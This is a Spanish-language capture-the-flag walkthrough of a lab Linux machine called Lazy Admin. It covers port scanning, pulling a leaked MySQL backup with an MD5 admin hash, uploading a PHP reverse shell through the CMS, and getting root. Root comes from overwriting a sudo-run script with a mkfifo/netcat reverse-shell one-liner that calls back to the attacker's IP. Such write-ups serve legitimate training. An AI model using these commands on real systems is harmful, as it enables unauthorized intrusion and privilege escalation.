Easy linux machine to practice your skills.

Lazy Admin

El primer paso es hacer un poco de reconocimiento a ver qué nos encontramos.

nmap

root@kali:~# nmap -sS -p- --min-rate 500 --open -n -Pn 10.10.188.99
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-19 16:58 UTC
Nmap scan report for 10.10.188.99
Host is up (0.0071s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:3A:29:AF:90:F3 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 5.18 seconds
root@kali:~# 
root@kali:~# nmap -sV -p22 10.10.188.99
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-19 17:05 UTC
Nmap scan report for ip-10-10-188-99.eu-west-1.compute.internal (10.10.188.99)
Host is up (0.00021s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
MAC Address: 02:3A:29:AF:90:F3 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds
root@kali:~# 

whatweb

root@kali:~# whatweb http://10.10.188.99 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.188.99], Title[Apache2 Ubuntu Default Page: It works]
root@kali:~# 

wfuzz

root@kali:~# wfuzz -c -t 300 --hc=404 -w /usr/share/wordlists/wfuzz/general/big.txt http://10.10.188.99/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.188.99/FUZZ
Total requests: 3024

===================================================================
ID           Response   Lines    Word     Chars       Payload                                       
===================================================================

000000689:   301        9 L      28 W     314 Ch      "content"                           

Total time: 27.80658
Processed Requests: 3024
Filtered Requests: 3023
Requests/sec.: 108.7512

root@kali:~# 

What is the user flag?

El primer paso es acceder a la web que publica el servidor a ver qué nos encontramos.

image-20210223200011495

En Exploit Database encontramos una vulnerabilidad que nos dice lo siguiente:

[...]
Proof of Concept :

You can access to all mysql backup and download them from this directory.
http://localhost/inc/mysql_backup
[...]

Accedemos a la ruta y nos encontramos un fichero SQL.

image-20210223195856540

Descargamos el fichero y revisándolo nos encontramos la siguiente línea:

\\"admin\\";s:7:\\"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\"

Parece que tenemos unas credenciales con un hash MD5 para la contraseña pero lo mejor es confirmarlo.

root@kali:~/Downloads# hash-identifier 
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: 42f749ade7f9e195bf475f37a44cafcb

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

El siguiente paso será obtener una contraseña de ese hash. La herramienta a utilizar queda al buen entendimiento del lector.

De los datos del wfuzz sabemos que hay una carpeta “/content” y buscando un poco por en el código fuente en GitHub puedes saber que este CMS tiene su web de administración en la carpeta “as”, por lo que la ruta a acceder es “/content/as”

image-20210223201106410

Lo divertido es saber dónde cargar el fichero PHP de la shell inversa. Aquí no queda otra que ir pinchando en las distintas opciones. Yo te ahorro el esfuerzo y te digo que hay que cargarlo desde “Media Center”.

Voy a usar Burp Suite para capturar la llamada POST y poder probar con distintas extensiones de ficheros PHP a ver cuál cuela.

image-20210223201213742

image-20210223201307163

Preparo la sesión de netcat desde el equipo atacante

root@kali:~# netcat -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.34.182] from (UNKNOWN) [10.10.188.99] 47334
Linux THM-Chal 4.15.0-70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux
 20:17:53 up  1:21,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$

Ya solo queda ir a por la bandera de usuario.

$ cd /home
$ ls
itguy
$ cd itguy
$ ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
backup.pl
examples.desktop
mysql_login.txt
user.txt
$ cat user.txt
{ESTO_NO_TE_LO_PONGO}
$ 

What is the root flag?

El primer paso es intentar escalar privilegios. Vamos a estabilizar la sesión de shell mediante este comando.

python -c 'import pty;pty.spawn("/bin/bash")'

Ahora ya podemos probar a ver si este usuario puede realizar alguna tarea como root mediante sudo.

$ sudo -l
Matching Defaults entries for www-data on THM-Chal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl

Hay un script de Perl que podemos ejecutar pero que no podemos modificar. Vamos a ver si podemos saber qué hace este script.

$ cat backup.pl
#!/usr/bin/perl

system("sh", "/etc/copy.sh");

Ejecuta un fichero llamado “copy.sh” que sí que podemos modificar. Vamos a cambiar su contenido por una shell inversa al equipo atacante.

$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.34.182 5554 >/tmp/f' > /etc/copy.sh
$ cat /etc/copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.34.182 5554 >/tmp/f

Ejecutamos el script.

$ sudo /usr/bin/perl /home/itguy/backup.pl

Ya solo queda obtener la bandera.

# cd /root
# ls
root.txt
# cat root.txt
{ESTO_NO_TE_LO_PONGO}